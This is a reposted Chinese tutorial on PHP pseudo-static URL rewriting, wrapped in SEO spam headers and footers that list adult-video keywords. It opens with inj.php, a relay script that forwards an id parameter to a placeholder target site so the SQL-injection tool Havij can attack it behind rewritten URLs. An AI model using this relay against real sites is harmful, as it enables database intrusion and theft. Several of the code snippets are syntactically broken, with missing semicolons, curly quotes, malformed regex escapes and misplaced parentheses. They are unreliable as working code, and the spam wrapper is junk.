一区二区久久-一区二区三区www-一区二区三区久久-一区二区三区久久精品-麻豆国产一区二区在线观看-麻豆国产视频

PHP 偽靜態(tài)技術(shù)原理以及突破原理實(shí)現(xiàn)介紹

先說(shuō)實(shí)現(xiàn)方法:
inj.php:
復(fù)制代碼 代碼如下:
<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時(shí)將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
curl_setopt($ch,CURLOPT_HEADER,0);//啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一個(gè)服務(wù)器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
php偽靜態(tài)實(shí)現(xiàn)方法一(利用Apache 服務(wù)器的功能)
1、檢查Apache是否支持mod_rewrite
2、讓Apache 支持.htaccess
3、建立.htaccess文件
4、規(guī)則:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長(zhǎng)啥樣
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如說(shuō):www.xx.com/page-18.html
真實(shí)的URL如下:
action = page
id = 18
============================
php偽靜態(tài)實(shí)現(xiàn)方法二(編碼實(shí)現(xiàn))
$php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
復(fù)制代碼 代碼如下:
$php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($php2Html_FileUrl,"/"),"?")) ))
/*
內(nèi)層的strrchr出來(lái):/test.php?id|1@action|2
外層的strrchr出來(lái):id|1@action|2
內(nèi)層的str_replace出來(lái):把 / 號(hào)去掉,本例子 沒有
外層的str_replace出來(lái):把 ?號(hào)去掉,本例子 沒有
*/
$php2Html_UrlQueryStrList = explode("@",$php2Html_UrlString);
/*把str變成以@為界限劃分的數(shù)組:id|1 和 action|2*/
foreach($php2Html_UrlQueryStrList as $php2Html_UrlQueryStr)
{
$php2Html_TmpArray = explode("|",$php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$php2Html_TmpArray[0]] = $php2Html_TmpArray[1];
}

============================
php偽靜態(tài)實(shí)現(xiàn)方法三(編碼實(shí)現(xiàn))
例子: localhost/php100/test.php/1/2
復(fù)制代碼 代碼如下:
$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//這句話應(yīng)該是把URL前面那段給搞掉。。剩下 "1/2"之類的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}

============================
php偽靜態(tài)實(shí)現(xiàn)方法四(編碼實(shí)現(xiàn))
復(fù)制代碼 代碼如下:
function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}

============================
php偽靜態(tài)實(shí)現(xiàn)方法五(編碼實(shí)現(xiàn))
例子:/1,100,8630.html
復(fù)制代碼 代碼如下:
if(preg_match(“///(/d+),(/d+),(/d+)/.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";

總結(jié)下:
(1)偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面。
(2)偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式。

php技術(shù)PHP 偽靜態(tài)技術(shù)原理以及突破原理實(shí)現(xiàn)介紹,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 在线国产资源 | 高清国产美女一级a毛片录 高清国产美女一级毛片 | 国产福利在线免费观看 | 亚洲妇人成熟性成熟美女 | 成人午夜小视频 | 爱做久久久久久久久久 | 视频三区精品中文字幕 | 亚洲欧美另类精品久久久 | 中文字幕免费视频精品一 | 亚洲一二三区久久五月天婷婷 | 四虎4hu永久在线观看 | 欧美不在线 | 碰91精品国产91久久婷婷 | 亚洲欧洲国产精品 | 91国在线啪精品一区 | 美女无遮挡免费视频 | 国产成人精品视频在放 | 久久精品亚洲牛牛影视 | 玖玖玖精品视频免费播放 | 青青草国产97免久久费观看 | 亚洲区一区 | 五月婷婷丁香在线视频 | 免费黄色欧美 | 久久综合久综合久久鬼色 | 六月丁香激情 | 欧美激情视频在线观看 | 69国产 | 精品国产一区二区三区免费 | 伊人久久大| 欧洲精品视频在线观看 | 大色香蕉| 亚洲综合网国产福利精品一区 | 四虎影视成人永久在线观看 | 亚洲国产成人久久午夜 | 在线观看黄色网 | 国产福利在线观看视频 | 国产真实乱子伦xxxx仙踪 | 最新精品国产 | 日本一区二区视频 | 一级做性色a爱片久久片 | 黄色网页在线播放 |